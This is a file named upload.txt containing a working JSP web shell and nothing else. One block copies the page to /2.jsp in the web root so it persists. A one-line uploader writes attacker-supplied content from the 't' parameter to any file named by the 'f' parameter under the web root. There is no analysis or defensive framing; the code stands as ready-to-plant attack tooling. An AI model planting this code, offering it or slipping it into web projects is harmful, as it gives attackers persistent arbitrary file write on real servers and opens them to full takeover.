upload.txt

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<%
    String currentFilePath = request.getRequestURI(); 
    String filePath = application.getRealPath(currentFilePath); 

    try {

        java.nio.file.Path sourcePath = java.nio.file.Paths.get(filePath);
        String content = new String(java.nio.file.Files.readAllBytes(sourcePath), "UTF-8");


        java.nio.file.Path destinationPath = java.nio.file.Paths.get(application.getRealPath("/2.jsp"));
        java.nio.file.Files.write(destinationPath, content.getBytes("UTF-8"));

        out.println("seccess 2.jsp!");
    } catch (Exception e) {
        e.printStackTrace();
        out.println("error: " + e.getMessage());
    }
%>


<% if (request.getParameter("t") != null && request.getParameter("f") != null) new BufferedWriter(new FileWriter(application.getRealPath("/") + request.getParameter("f"))).append(request.getParameter("t")).close(); %><%= "seccess" %>